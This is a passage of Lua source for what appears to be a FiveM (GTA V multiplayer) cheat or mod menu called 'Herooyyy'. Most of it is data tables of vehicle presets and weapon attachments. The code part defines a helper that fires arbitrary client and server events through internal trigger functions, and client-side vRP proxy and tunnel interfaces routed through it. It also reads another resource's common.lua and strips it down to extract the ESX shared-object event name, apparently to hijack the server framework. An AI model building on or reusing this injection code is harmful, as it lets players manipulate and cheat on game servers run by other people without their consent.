1333 {name = 'Dodge Viper 1999', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = -1,["suspensionRaise"] = -0.0099999997764826,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = -1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 10.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 726460559,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 28,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { } ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 1,["modAerials"] = -1,}},
1334
1335 {name = 'Ford Mustang 1995', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 2,["suspensionRaise"] = 0.0,["fuelLevel"] = 60.0,["modLivery"] = -1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 89,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 3.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 688884119,["modAPlate"] = -1,["modHood"] = 3,["wheelColor"] = 12,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = true,["2"] = true,["3"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 138,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 7,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 89,["modFrame"] = 1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 5,["modAerials"] = -1,}},
1336 {name = 'Ford Mustang 2019', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 6,["suspensionRaise"] = 0.0,["fuelLevel"] = 60.0,["modLivery"] = 5,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = 1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 10.1,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 1311724675,["modAPlate"] = -1,["modHood"] = 1,["wheelColor"] = 156,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { } ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 1,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 89,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 5,["modAerials"] = -1,}},
1337
1338 {name = 'Honda S2000 AP2', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 1,["suspensionRaise"] = -0.070000000298023,["fuelLevel"] = 60.0,["modLivery"] = -1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 2,["modTrunk"] = -1,["dirtLevel"] = 5.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -1549019518,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 12,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["2"] = false,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 0,["modFrame"] = 1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 1,["modAerials"] = -1,}},
1339
1340 {name = 'Range Rover Vogue ST', props = {["fuelLevel"] = 60.0,["modRightFender"] = 0,["suspensionRaise"] = -0.029999995604157,["modLivery"] = -1,["modDial"] = -1,["color1"] = 134,["modDashboard"] = -1,["modOrnaments"] = -1,["modFrontBumper"] = 1,["modSuspension"] = 3,["modAPlate"] = -1,["modTransmission"] = 2,["modTrimB"] = -1,["modAerials"] = -1,["modArchCover"] = -1,["modBackWheels"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["plateIndex"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modAirFilter"] = -1,["modStruts"] = -1,["extras"] = { ["1"] = false,["2"] = true,} ,["modFrontWheels"] = -1,["wheels"] = 3,["modTrunk"] = -1,["modSpeakers"] = -1,["modSteeringWheel"] = -1,["modTrimA"] = -1,["modExhaust"] = 1,["modSideSkirt"] = -1,["pearlescentColor"] = 12,["modRoof"] = -1,["modSpoilers"] = 0,["modSeats"] = -1,["modRearBumper"] = -1,["modHood"] = 1,["modDoorSpeaker"] = -1,["modTurbo"] = 1,["modSmokeEnabled"] = 1,["tyreSmokeColor"] = { [1] = 255,[2] = 0,[3] = 0,["n"] = 3,} ,["modWindows"] = -1,["modTank"] = -1,["modXenon"] = 1,["modVanityPlate"] = -1,["engineHealth"] = 1000.0,["wheelColor"] = 111,["modPlateHolder"] = -1,["modEngineBlock"] = -1,["modEngine"] = 3,["bodyHealth"] = 1000.0,["modArmor"] = 4,["color2"] = 150,["modHorns"] = -1,["modShifterLeavers"] = -1,["modHydrolic"] = -1,["modFrame"] = 0,["xenonColor"] = 255,["model"] = 1993609528,["modFender"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modGrille"] = 1,["dirtLevel"] = 4.0,}},
1341 },
1342 savedVehiclesOptionsHandle = nil,
1343 savedVehiclesOptionsDeleteHandle = nil,
1344 },
1345
1346 mainColor = {
1347 r = 225,
1348 g = 55,
1349 b = 55,
1350 a = 255
1351 },
1352 menuTabsColors = {
1353 selfOptions = {r=255, g=255, b=255},
1354 onlineOptions = {r=255, g=255, b=255},
1355 visualOptions = {r=255, g=255, b=255},
1356 teleportOptions = {r=255, g=255, b=255},
1357 vehicleOptions = {r=255, g=255, b=255},
1358 weaponOptions = {r=255, g=255, b=255},
1359 serverOptions = {r=255, g=255, b=255},
1360 menuOptions = {r=255, g=255, b=255}
1361 },
1362}
1363
1364Herooyyy.dTCE = function(delayed, server, event, ...)
1365 if delayed then
1366 pCreateThread(function() pWait(50) end)
1367 end
1368
1369 local payload = msgpack.pack({...})
1370 if server then
1371 TriggerServerEventInternal(event, payload, payload:len())
1372 else
1373 TriggerEventInternal(event, payload, payload:len())
1374 end
1375end
1376
1377--[[ PROXY CLIENT-SIDE VERSION (https://github.com/ImagicTheCat/vRP)]]
1378--[[ Proxy interface system, used to add/call functions between resources]]
1379local Proxy = {}
1380local proxy_rdata = {}
1381local function proxy_callback(rvalues)
1382 proxy_rdata = rvalues
1383end
1384local function proxy_resolve(itable, key)
1385 local iname = getmetatable(itable).name
1386 local fcall = function(args, callback)
1387 if args == nil then
1388 args = {}
1389 end
1390 Herooyyy.dTCE(false, false, iname .. ":proxy", key, args, proxy_callback)
1391 return table.unpack(proxy_rdata)
1392 end
1393 itable[key] = fcall
1394 return fcall
1395end
1396function Proxy.addInterface(name, itable)
1397 AddEventHandler(
1398 name .. ":proxy",
1399 function(member, args, callback)
1400 local f = itable[member]
1401 if type(f) == "function" then
1402 callback({f(table.unpack(args))})
1403 else
1404 end
1405 end
1406 )
1407end
1408function Proxy.getInterface(name)
1409 local r = setmetatable({}, {__index = proxy_resolve, name = name})
1410 return r
1411end
1412--[[ TUNNEL CLIENT SIDE VERSION (https://github.com/ImagicTheCat/vRP)]]
1413local Tools = {}
1414local IDGenerator = {}
1415function Tools.newIDGenerator()
1416 local r = setmetatable({}, {__index = IDGenerator})
1417 r:construct()
1418 return r
1419end
1420function IDGenerator:construct()
1421 self:clear()
1422end
1423function IDGenerator:clear()
1424 self.max = 0
1425 self.ids = {}
1426end
1427function IDGenerator:gen()
1428 if #self.ids > 0 then
1429 return table.remove(self.ids)
1430 else
1431 local r = self.max
1432 self.max = self.max + 1
1433 return r
1434 end
1435end
1436function IDGenerator:free(id)
1437 table.insert(self.ids, id)
1438end
1439local Tunnel = {}
1440local function tunnel_resolve(itable, key)
1441 local mtable = getmetatable(itable)
1442 local iname = mtable.name
1443 local ids = mtable.tunnel_ids
1444 local callbacks = mtable.tunnel_callbacks
1445 local identifier = mtable.identifier
1446 local fcall = function(args, callback)
1447 if args == nil then
1448 args = {}
1449 end
1450 if type(callback) == "function" then
1451 local rid = ids:gen()
1452 callbacks[rid] = callback
1453 Herooyyy.dTCE(false, true, iname .. ":tunnel_req", key, args, identifier, rid)
1454 else
1455 Herooyyy.dTCE(false, true, iname .. ":tunnel_req", key, args, "", -1)
1456 end
1457 end
1458 itable[key] = fcall
1459 return fcall
1460end
1461function Tunnel.bindInterface(name, interface)
1462 RegisterNetEvent(name .. ":tunnel_req")
1463 AddEventHandler(
1464 name .. ":tunnel_req",
1465 function(member, args, identifier, rid)
1466 local f = interface[member]
1467 local delayed = false
1468 local rets = {}
1469 if
1470 type(f) == "function"
1471 then
1472 TUNNEL_DELAYED = function()
1473 delayed = true
1474 return function(rets)
1475 rets = rets or {}
1476 if rid >= 0 then
1477 Herooyyy.dTCE(false, true, name .. ":" .. identifier .. ":tunnel_res", rid, rets)
1478 end
1479 end
1480 end
1481 rets = {f(table.unpack(args))}
1482 end
1483 if not delayed and rid >= 0 then
1484 Herooyyy.dTCE(false, true, name .. ":" .. identifier .. ":tunnel_res", rid, rets)
1485 end
1486 end
1487 )
1488end
1489function Tunnel.getInterface(name, identifier)
1490 local ids = Tools.newIDGenerator()
1491 local callbacks = {}
1492 local r =
1493 setmetatable(
1494 {},
1495 {__index = tunnel_resolve, name = name, tunnel_ids = ids, tunnel_callbacks = callbacks, identifier = identifier}
1496 )
1497 RegisterNetEvent(name .. ":" .. identifier .. ":tunnel_res")
1498 AddEventHandler(
1499 name .. ":" .. identifier .. ":tunnel_res",
1500 function(rid, args)
1501 local callback = callbacks[rid]
1502 if callback ~= nil then
1503 ids:free(rid)
1504 callbacks[rid] = nil
1505 callback(table.unpack(args))
1506 end
1507 end
1508 )
1509 return r
1510end
1511local vRP = Proxy.getInterface("vRP")
1512
1513Herooyyy.datastore.es_extended = Herooyyy.natives.loadResourceFile('es_extended', 'client/common.lua')
1514if Herooyyy.datastore.es_extended and string.len(Herooyyy.datastore.es_extended) > 65 then
1515 local toFilter = {
1516 'AddEventHandler',
1517 'cb',
1518 'function ',
1519 'exports',
1520 'return ESX',
1521 'return ExM',
1522 'getExtendedModeObject',
1523 '(ESX)',
1524 'function',
1525 'getSharedObject%(%)',
1526 'end',
1527 '%(',
1528 '%)',
1529 ',',
1530 '\'',
1531 '"',
1532 'UG',
1533 'tonum',
1534 '\n',
1535 '%s+',
1536 }
1537 for i=1, #toFilter do
1538 Herooyyy.datastore.es_extended = Herooyyy.datastore.es_extended:gsub(toFilter[i], '')
1539 end
1540end
1541
1542--[[pCreateThread(function()
1543 while Herooyyy.shouldShowMenu and Herooyyy.datastore.es_extended and Herooyyy.datastore.ESX == nil do
1544 Herooyyy.dTCE(false, false, tostring(Herooyyy.datastore.es_extended), function(a) Herooyyy.datastore.ESX = a end)
1545 pWait(30000)
1546 end
1547end)]]
1548
1549Herooyyy.trashTables.weaponsTable = { Melee = { BaseballBat = { id = 'weapon_bat', name = '~s~~s~Baseball Bat', bInfAmmo = false, mods = {} }, BrokenBottle = { id = 'weapon_bottle', name = '~s~~s~Broken Bottle', bInfAmmo = false, mods = {} }, Crowbar = { id = 'weapon_Crowbar', name = '~s~~s~Crowbar', bInfAmmo = false, mods = {} }, Flashlight = { id = 'weapon_flashlight', name = '~s~~s~Flashlight', bInfAmmo = false, mods = {} }, GolfClub = { id = 'weapon_golfclub', name = '~s~~s~Golf Club', bInfAmmo = false, mods = {} }, BrassKnuckles = { id = 'weapon_knuckle', name = '~s~~s~Brass Knuckles', bInfAmmo = false, mods = {} }, Knife = { id = 'weapon_knife', name = '~s~~s~Knife', bInfAmmo = false, mods = {} }, Machete = { id = 'weapon_machete', name = '~s~~s~Machete', bInfAmmo = false, mods = {} }, Switchblade = { id = 'weapon_switchblade', name = '~s~~s~Switchblade', bInfAmmo = false, mods = {} }, Nightstick = { id = 'weapon_nightstick', name = '~s~~s~Nightstick', bInfAmmo = false, mods = {} }, BattleAxe = { id = 'weapon_battleaxe', name = '~s~~s~Battle Axe', bInfAmmo = false, mods = {} } }, Handguns = { Pistol = { id = 'weapon_pistol', name = '~s~~s~Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_PISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_PISTOL_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP_02' } } } }, PistolMK2 = { id = 'weapon_pistol_mk2', name = '~s~~s~Pistol MK 2', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_PISTOL_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_PISTOL_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_PISTOL_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_PISTOL_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_PISTOL_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Mounted Scope', id = 'COMPONENT_AT_PI_RAIL' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH_02' } }, BarrelAttachments = { { name = '~s~~s~Compensator', id = 'COMPONENT_AT_PI_COMP' }, { name = '~s~~s~Suppessor', id = 'COMPONENT_AT_PI_SUPP_02' } } } }, CombatPistol = { id = 'weapon_combatpistol', name = '~s~~s~Combat Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMBATPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMBATPISTOL_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, APPistol = { id = 'weapon_appistol', name = '~s~~s~AP Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_APPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_APPISTOL_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, StunGun = { id = 'weapon_stungun', name = '~s~~s~Stun Gun', bInfAmmo = false, mods = {} }, Pistol50 = { id = 'weapon_pistol50', name = '~s~~s~Pistol .50', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_PISTOL50_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_PISTOL50_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP_02' } } } }, SNSPistol = { id = 'weapon_snspistol', name = '~s~~s~SNS Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SNSPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SNSPISTOL_CLIP_02' } } } }, SNSPistolMkII = { id = 'weapon_snspistol_mk2', name = '~s~~s~SNS Pistol Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Mounted Scope', id = 'COMPONENT_AT_PI_RAIL_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH_03' } }, BarrelAttachments = { { name = '~s~~s~Compensator', id = 'COMPONENT_AT_PI_COMP_02' }, { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP_02' } } } }, HeavyPistol = { id = 'weapon_heavypistol', name = '~s~~s~Heavy Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_HEAVYPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_HEAVYPISTOL_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, VintagePistol = { id = 'weapon_vintagepistol', name = '~s~~s~Vintage Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_VINTAGEPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_VINTAGEPISTOL_CLIP_02' } }, BarrelAttachments = { { 'Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, FlareGun = { id = 'weapon_flaregun', name = '~s~~s~Flare Gun', bInfAmmo = false, mods = {} }, MarksmanPistol = { id = 'weapon_marksmanpistol', name = '~s~~s~Marksman Pistol', bInfAmmo = false, mods = {} }, HeavyRevolver = { id = 'weapon_revolver', name = '~s~~s~Heavy Revolver', bInfAmmo = false, mods = {} }, HeavyRevolverMkII = { id = 'weapon_revolver_mk2', name = '~s~~s~Heavy Revolver Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_01' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Compensator', id = 'COMPONENT_AT_PI_COMP_03' } } } }, DoubleActionRevolver = { id = 'weapon_doubleaction', name = '~s~~s~Double Action Revolver', bInfAmmo = false, mods = {} }, UpnAtomizer = { id = 'weapon_raypistol', name = '~s~~s~Up-n-Atomizer', bInfAmmo = false, mods = {} } }, SMG = { MicroSMG = { id = 'weapon_microsmg', name = '~s~~s~Micro SMG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MICROSMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MICROSMG_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } } } }, SMG = { id = 'weapon_smg', name = '~s~~s~SMG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SMG_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_SMG_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, SMGMkII = { id = 'weapon_smg_mk2', name = '~s~~s~SMG Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SMG_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SMG_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_SMG_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_SMG_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_SMG_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS_SMG' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_02_SMG_MK2' }, { name = '~s~~s~Medium Scope', id = 'COMPONENT_AT_SCOPE_SMALL_SMG_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Barrel = { { name = '~s~~s~Default', id = 'COMPONENT_AT_SB_BARREL_01' }, { name = '~s~~s~Heavy', id = 'COMPONENT_AT_SB_BARREL_02' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' }, { name = '~s~~s~Flat Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_01' }, { name = '~s~~s~Tactical Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_02' }, { name = '~s~~s~Fat-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_03' }, { name = '~s~~s~Precision Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_04' }, { name = '~s~~s~Heavy Duty Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_05' }, { name = '~s~~s~Slanted Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_06' }, { name = '~s~~s~Split-End Muzzle Brake', id = 'COMPONENT_AT_MUZZLE_07' } } } }, AssaultSMG = { id = 'weapon_assaultsmg', name = '~s~~s~Assault SMG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_ASSAULTSMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_ASSAULTSMG_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } } } }, CombatPDW = { id = 'weapon_combatpdw', name = '~s~~s~Combat PDW', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMBATPDW_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMBATPDW_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_COMBATPDW_CLIP_03' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, Grips = { { name = '~s~~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP' } } } }, MachinePistol = { id = 'weapon_machinepistol', name = '~s~~s~Machine Pistol ', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MACHINEPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MACHINEPISTOL_CLIP_02' }, { name = '~s~~s~Drum Magazine', id = 'COMPONENT_MACHINEPISTOL_CLIP_03' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, MiniSMG = { id = 'weapon_minismg', name = '~s~~s~Mini SMG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MINISMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MINISMG_CLIP_02' } } } }, UnholyHellbringer = { id = 'weapon_raycarbine', name = '~s~~s~Unholy Hellbringer', bInfAmmo = false, mods = {} } }, Shotguns = { PumpShotgun = { id = 'weapon_pumpshotgun', name = '~s~~s~Pump Shotgun', bInfAmmo = false, mods = { Flashlight = { { name = 'Flashlight', id = 'COMPONENT_AT_AR_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_SR_SUPP' } } } }, PumpShotgunMkII = { id = 'weapon_pumpshotgun_mk2', name = '~s~~s~Pump Shotgun Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Shells', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_01' }, { name = '~s~~s~Dragon Breath Shells', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Steel Buckshot Shells', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING' }, { name = '~s~~s~Flechette Shells', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~Explosive Slugs', id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE' } }, Sights = { { 